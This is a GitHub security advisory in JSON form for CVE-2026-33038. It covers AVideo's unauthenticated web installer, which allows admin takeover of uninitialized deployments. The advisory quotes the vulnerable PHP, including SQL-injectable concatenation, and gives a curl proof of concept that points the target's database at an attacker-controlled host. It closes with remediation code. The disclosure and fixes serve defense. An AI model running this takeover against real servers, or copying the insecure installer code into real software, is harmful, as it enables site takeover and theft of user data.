{"id":"GHSA-2f9h-23f7-8gcx","summary":"AVideo affected by unauthenticated application takeover via exposed web installer on uninitialized deployments","details":"## Summary\nThe `install/checkConfiguration.php` endpoint performs full application initialization — database setup, admin account creation, and configuration file write — from unauthenticated POST input. The only guard is checking whether `videos/configuration.php` already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access.\n\n## Affected Component\n- `install/checkConfiguration.php` — entire file (lines 1-273)\n\n## Description\n\n### No authentication or access restriction on installer endpoint\n\nThe `checkConfiguration.php` file performs the most privileged operations in the application — creating the database schema, the admin account, and the configuration file — with no authentication, no setup token, no CSRF protection, and no IP restriction. The sole guard is a file-existence check:\n\n```php\n// install/checkConfiguration.php — lines 2-5\nif (file_exists(\"../videos/configuration.php\")) {\n    error_log(\"Can not create configuration again: \".  json_encode($_SERVER));\n    exit;\n}\n```\n\nIf `videos/configuration.php` does not exist (fresh deployment, container restart without persistent storage, re-deployment), the entire installer runs with attacker-controlled POST parameters.\n\n### Attacker-controlled database host eliminates credential guessing\n\nUnlike typical installer exposure vulnerabilities where the attacker must guess the target's database credentials, this endpoint allows the attacker to supply their own database host:\n\n```php\n// install/checkConfiguration.php — line 25\n$mysqli = @new mysqli($_POST['databaseHost'], $_POST['databaseUser'], $_POST['databasePass'], \"\", $_POST['databasePort']);\n```\n\nThe attacker can:\n1. Run their own MySQL server with the AVideo schema pre-loaded\n2. Set `databaseHost` to their server's IP\n3. The connection succeeds (attacker controls the DB)\n4. The configuration file is written pointing the application at the attacker's database permanently\n\n### Admin account creation with unsanitized input\n\nThe admin user is created with direct POST parameter concatenation into SQL:\n\n```php\n// install/checkConfiguration.php — line 120\n$sql = \"INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', '\"\n     . $_POST['contactEmail'] . \"', '\" . md5($_POST['systemAdminPass']) . \"', now(), now(), true)\";\n```\n\nThis has two issues: (1) the attacker controls the admin password, and (2) `$_POST['contactEmail']` is directly concatenated into SQL without escaping (SQL injection).\n\n### Configuration file written with attacker-controlled values\n\nThe configuration file is written to disk with all attacker-supplied values embedded:\n\n```php\n// install/checkConfiguration.php — lines 238-247\n$videosDir = $_POST['systemRootPath'].'videos/';\n\nif(!is_dir($videosDir)){\n    mkdir($videosDir, 0777, true);\n}\n\n$fp = fopen(\"{$videosDir}configuration.php\", \"wb\");\nfwrite($fp, $content);\nfclose($fp);\n```\n\nThe `$content` variable (built at lines 188-236) embeds `$_POST['databaseHost']`, `$_POST['databaseUser']`, `$_POST['databasePass']`, `$_POST['webSiteRootURL']`, `$_POST['systemRootPath']`, and `$_POST['salt']` directly into the PHP configuration file.\n\n### Inconsistent defense: CLI installer is protected, web endpoint is not\n\nThe CLI installer (`install/install.php`) properly restricts access:\n\n```php\n// install/install.php — lines 3-5\nif (!isCommandLineInterface()) {\n    die('Command Line only');\n}\n```\n\nThe web endpoint (`checkConfiguration.php`) lacks any equivalent protection, creating an inconsistent defense pattern.\n\n### No web server protection on install directory\n\nThere is no `.htaccess` file in the `install/` directory. The root `.htaccess` does not block access to `install/`. The endpoint is directly accessible at `/install/checkConfiguration.php`.\n\n### Execution chain\n\n1. Attacker discovers an AVideo instance where `videos/configuration.php` does not exist (fresh or re-deployed)\n2. Attacker sends POST to `/install/checkConfiguration.php` with their own database host, admin password, and site configuration\n3. The script connects to the attacker's database (or the target's with guessed/default credentials)\n4. Tables are created, admin user is inserted with attacker's password\n5. `configuration.php` is written to disk, permanently configuring the application\n6. Attacker logs in as admin with full control over the application\n\n## Proof of Concept\n\n**Step 1:** Set up an attacker-controlled MySQL server with the AVideo schema:\n\n```bash\n# On attacker's server\nmysql -e \"CREATE DATABASE avideo;\"\nmysql avideo \u003c database.sql  # Use AVideo's own schema file\n```\n\n**Step 2:** Send the installation request to the target:\n\n```bash\ncurl -s -X POST https://TARGET/install/checkConfiguration.php \\\n  -d 'systemRootPath=/var/www/html/AVideo/' \\\n  -d 'databaseHost=ATTACKER_MYSQL_IP' \\\n  -d 'databasePort=3306' \\\n  -d 'databaseUser=attacker' \\\n  -d 'databasePass=attacker_pass' \\\n  -d 'databaseName=avideo' \\\n  -d 'createTables=1' \\\n  -d 'contactEmail=attacker@example.com' \\\n  -d 'systemAdminPass=AttackerPass123!' \\\n  -d 'webSiteTitle=Pwned' \\\n  -d 'mainLanguage=en_US' \\\n  -d 'webSiteRootURL=https://TARGET/'\n```\n\n**Step 3:** Log in as admin:\n\n```\nUsername: admin\nPassword: AttackerPass123!\n```\n\nThe attacker now has full administrative access. If using their own database, they control all application data.\n\n## Impact\n\n- **Full application takeover:** Attacker becomes the sole admin with complete control\n- **Persistent backdoor via configuration:** The `videos/configuration.php` file is written with attacker-controlled database credentials, ensuring persistent access even after the attack\n- **Data exfiltration:** If pointing to the attacker's database, all future user data (registrations, uploads, comments) flows to the attacker\n- **Remote code execution potential:** Admin access in AVideo enables file uploads and plugin management, which can lead to arbitrary PHP execution\n- **SQL injection bonus:** `$_POST['contactEmail']` on line 120 is directly concatenated into SQL, allowing additional database manipulation\n\n## Recommended Remediation\n\n### Option 1: Add a one-time setup token (preferred)\n\nGenerate a random setup token during deployment that must be provided to complete installation:\n\n```php\n// At the top of install/checkConfiguration.php, after the file_exists check:\n\n// Require a setup token that was generated during deployment\n$setupTokenFile = __DIR__ . '/../videos/.setup_token';\nif (!file_exists($setupTokenFile)) {\n    $obj = new stdClass();\n    $obj-\u003eerror = \"Setup token file not found. Create videos/.setup_token with a random secret.\";\n    header('Content-Type: application/json');\n    echo json_encode($obj);\n    exit;\n}\n\n$expectedToken = trim(file_get_contents($setupTokenFile));\nif (empty($_POST['setupToken']) || !hash_equals($expectedToken, $_POST['setupToken'])) {\n    $obj = new stdClass();\n    $obj-\u003eerror = \"Invalid setup token.\";\n    header('Content-Type: application/json');\n    echo json_encode($obj);\n    exit;\n}\n```\n\n### Option 2: Restrict installer to localhost/CLI only\n\nBlock web access to the installer entirely:\n\n```php\n// At the top of install/checkConfiguration.php, after the file_exists check:\nif (!isCommandLineInterface()) {\n    $allowedIPs = ['127.0.0.1', '::1'];\n    if (!in_array($_SERVER['REMOTE_ADDR'], $allowedIPs)) {\n        header('Content-Type: application/json');\n        echo json_encode(['error' =\u003e 'Installation is only allowed from localhost']);\n        exit;\n    }\n}\n```\n\nAdditionally, add an `.htaccess` file in the `install/` directory:\n\n```apache\n# install/.htaccess\n\u003cFiles \"checkConfiguration.php\"\u003e\n    Require local\n\u003c/Files\u003e\n```\n\n### Additional fixes needed\n\n1. **Parameterize SQL queries** on line 120 to prevent SQL injection:\n```php\n$stmt = $mysqli-\u003eprepare(\"INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', ?, ?, now(), now(), true)\");\n$hashedPass = md5($_POST['systemAdminPass']); // Also: upgrade from md5 to password_hash()\n$stmt-\u003ebind_param(\"ss\", $_POST['contactEmail'], $hashedPass);\n$stmt-\u003eexecute();\n```\n\n2. **Upgrade password hashing** from `md5()` to `password_hash()` with `PASSWORD_BCRYPT` or `PASSWORD_ARGON2ID`.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","aliases":["CVE-2026-33038"],"modified":"2026-03-20T21:36:28.202791Z","published":"2026-03-17T19:46:40Z","database_specific":{"cwe_ids":["CWE-306"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-17T19:46:40Z","nvd_published_at":"2026-03-20T06:16:11Z"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-2f9h-23f7-8gcx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33038"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/b3fa7869dcb935c8ab5c001a88dc29d2f92cf8e1"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-2f9h-23f7-8gcx/GHSA-2f9h-23f7-8gcx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}